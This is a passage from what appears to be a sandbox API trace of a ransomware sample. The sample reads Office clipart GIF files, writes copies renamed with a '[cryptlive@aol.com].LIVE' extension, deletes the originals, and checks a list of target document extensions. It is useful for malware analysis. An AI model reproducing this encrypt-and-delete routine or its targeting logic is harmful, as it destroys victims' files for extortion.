lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0059.446] ReadFile (in: hFile=0x214, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.446] WriteFile (in: hFile=0x194, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.446] SetEndOfFile (hFile=0x194) returned 1 [0059.446] CloseHandle (hObject=0x194) returned 1 [0059.447] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.447] SetEndOfFile (hFile=0x214) returned 1 [0059.447] CloseHandle (hObject=0x214) returned 1 [0059.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0059.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0059.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.453] lstrlenW (lpString=".doc") returned 4 [0059.453] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.453] lstrlenW (lpString=".docx") returned 5 [0059.453] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0059.455] lstrlenW (lpString=".pdf") returned 4 [0059.455] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.456] lstrlenW (lpString=".xls") returned 4 [0059.456] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.456] lstrlenW (lpString=".xlsx") returned 5 [0059.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0059.456] lstrlenW (lpString=".ppt") returned 4 [0059.456] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.456] lstrlenW (lpString=".zip") returned 4 [0059.456] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.456] lstrlenW (lpString=".rar") returned 4 [0059.456] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.456] lstrlenW (lpString=".bz2") returned 4 [0059.456] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.456] lstrlenW (lpString=".7z") returned 3 [0059.456] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.456] lstrlenW (lpString=".dbf") returned 4 [0059.456] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.456] lstrlenW (lpString=".1cd") returned 4 [0059.456] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.456] lstrlenW (lpString=".jpg") returned 4 [0059.456] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.457] lstrlenW (lpString=".doc") returned 4 [0059.457] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.457] lstrlenW (lpString=".docx") returned 5 [0059.457] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0059.457] lstrlenW (lpString=".pdf") returned 4 [0059.457] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.457] lstrlenW (lpString=".xls") returned 4 [0059.457] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.457] lstrlenW (lpString=".xlsx") returned 5 [0059.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0059.457] lstrlenW (lpString=".ppt") returned 4 [0059.457] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.457] lstrlenW (lpString=".zip") returned 4 [0059.457] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.457] lstrlenW (lpString=".rar") returned 4 [0059.457] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.457] lstrlenW (lpString=".bz2") returned 4 [0059.457] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.457] lstrlenW (lpString=".7z") returned 3 [0059.457] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.457] lstrlenW (lpString=".dbf") returned 4 [0059.457] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.457] lstrlenW (lpString=".1cd") returned 4 [0059.457] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0059.457] lstrlenW (lpString=".jpg") returned 4 [0059.457] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.458] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0059.458] lstrlenW (lpString="AG00126_.GIF") returned 12 [0059.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.458] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3140) returned 1 [0059.458] CloseHandle (hObject=0x214) returned 1 [0059.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0059.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0059.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.458] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.459] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0059.459] GetLastError () returned 0x0 [0059.459] ReadFile (in: hFile=0x214, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0xc44, lpOverlapped=0x0) returned 1 [0059.460] WriteFile (in: hFile=0x194, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0059.461] ReadFile (in: hFile=0x214, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.461] WriteFile (in: hFile=0x194, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.462] SetEndOfFile (hFile=0x194) returned 1 [0059.462] CloseHandle (hObject=0x194) returned 1 [0059.462] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.462] SetEndOfFile (hFile=0x214) returned 1 [0059.463] CloseHandle (hObject=0x214) returned 1 [0059.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0059.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0059.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.463] lstrlenW (lpString=".doc") returned 4 [0059.463] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.463] lstrlenW (lpString=".docx") returned 5 [0059.463] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0059.463] lstrlenW (lpString=".pdf") returned 4 [0059.463] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.463] lstrlenW (lpString=".xls") returned 4 [0059.463] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.463] lstrlenW (lpString=".xlsx") returned 5 [0059.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0059.463] lstrlenW (lpString=".ppt") returned 4 [0059.463] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.464] lstrlenW (lpString=".zip") returned 4 [0059.464] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.464] lstrlenW (lpString=".rar") returned 4 [0059.464] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.464] lstrlenW (lpString=".bz2") returned 4 [0059.464] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.464] lstrlenW (lpString=".7z") returned 3 [0059.464] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.464] lstrlenW (lpString=".dbf") returned 4 [0059.464] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.464] lstrlenW (lpString=".1cd") returned 4 [0059.464] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.464] lstrlenW (lpString=".jpg") returned 4 [0059.464] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.464] lstrlenW (lpString=".doc") returned 4 [0059.464] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.464] lstrlenW (lpString=".docx") returned 5 [0059.464] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0059.464] lstrlenW (lpString=".pdf") returned 4 [0059.464] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.464] lstrlenW (lpString=".xls") returned 4 [0059.464] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.464] lstrlenW (lpString=".xlsx") returned 5 [0059.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0059.464] lstrlenW (lpString=".ppt") returned 4 [0059.464] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.464] lstrlenW (lpString=".zip") returned 4 [0059.465] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.465] lstrlenW (lpString=".rar") returned 4 [0059.465] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.465] lstrlenW (lpString=".bz2") returned 4 [0059.465] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.465] lstrlenW (lpString=".7z") returned 3 [0059.465] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.465] lstrlenW (lpString=".dbf") returned 4 [0059.465] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.465] lstrlenW (lpString=".1cd") returned 4 [0059.465] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0059.465] lstrlenW (lpString=".jpg") returned 4 [0059.465] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.465] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0059.465] lstrlenW (lpString="AG00129_.GIF") returned 12 [0059.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.465] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=12482) returned 1 [0059.465] CloseHandle (hObject=0x214) returned 1 [0059.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0059.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0059.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.466] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.466] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0059.466] GetLastError () returned 0x0 [0059.466] ReadFile (in: hFile=0x214, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0059.468] WriteFile (in: hFile=0x194, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0059.469] ReadFile (in: hFile=0x214, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.469] WriteFile (in: hFile=0x194, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.469] SetEndOfFile (hFile=0x194) returned 1 [0059.469] CloseHandle (hObject=0x194) returned 1 [0059.470] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.470] SetEndOfFile (hFile=0x214) returned 1 [0059.471] CloseHandle (hObject=0x214) returned 1 [0059.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0059.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0059.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.471] lstrlenW (lpString=".doc") returned 4 [0059.471] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.471] lstrlenW (lpString=".docx") returned 5 [0059.471] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0059.471] lstrlenW (lpString=".pdf") returned 4 [0059.471] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.471] lstrlenW (lpString=".xls") returned 4 [0059.471] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.471] lstrlenW (lpString=".xlsx") returned 5 [0059.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0059.472] lstrlenW (lpString=".ppt") returned 4 [0059.472] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.472] lstrlenW (lpString=".zip") returned 4 [0059.472] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.472] lstrlenW (lpString=".rar") returned 4 [0059.472] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.472] lstrlenW (lpString=".bz2") returned 4 [0059.472] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.472] lstrlenW (lpString=".7z") returned 3 [0059.472] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.472] lstrlenW (lpString=".dbf") returned 4 [0059.472] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.472] lstrlenW (lpString=".1cd") returned 4 [0059.472] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.472] lstrlenW (lpString=".jpg") returned 4 [0059.472] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.472] lstrlenW (lpString=".doc") returned 4 [0059.472] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.472] lstrlenW (lpString=".docx") returned 5 [0059.472] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0059.472] lstrlenW (lpString=".pdf") returned 4 [0059.472] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.472] lstrlenW (lpString=".xls") returned 4 [0059.472] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.472] lstrlenW (lpString=".xlsx") returned 5 [0059.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0059.472] lstrlenW (lpString=".ppt") returned 4 [0059.472] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.473] lstrlenW (lpString=".zip") returned 4 [0059.473] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.473] lstrlenW (lpString=".rar") returned 4 [0059.473] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.473] lstrlenW (lpString=".bz2") returned 4 [0059.473] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.473] lstrlenW (lpString=".7z") returned 3 [0059.473] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.473] lstrlenW (lpString=".dbf") returned 4 [0059.473] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.473] lstrlenW (lpString=".1cd") returned 4 [0059.473] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0059.473] lstrlenW (lpString=".jpg") returned 4 [0059.473] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.473] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0059.473] lstrlenW (lpString="AG00130_.GIF") returned 12 [0059.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.473] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5253) returned 1 [0059.474] CloseHandle (hObject=0x214) returned 1 [0059.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0059.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0059.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.474] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.474] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0059.474] GetLastError () returned 0x0 [0059.474] ReadFile (in: hFile=0x214, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x1485, lpOverlapped=0x0) returned 1 [0059.692] WriteFile (in: hFile=0x194, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0059.693] ReadFile (in: hFile=0x214, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.693] WriteFile (in: hFile=0x194, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.693] SetEndOfFile (hFile=0x194) returned 1 [0059.693] CloseHandle (hObject=0x194) returned 1 [0059.693] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.693] SetEndOfFile 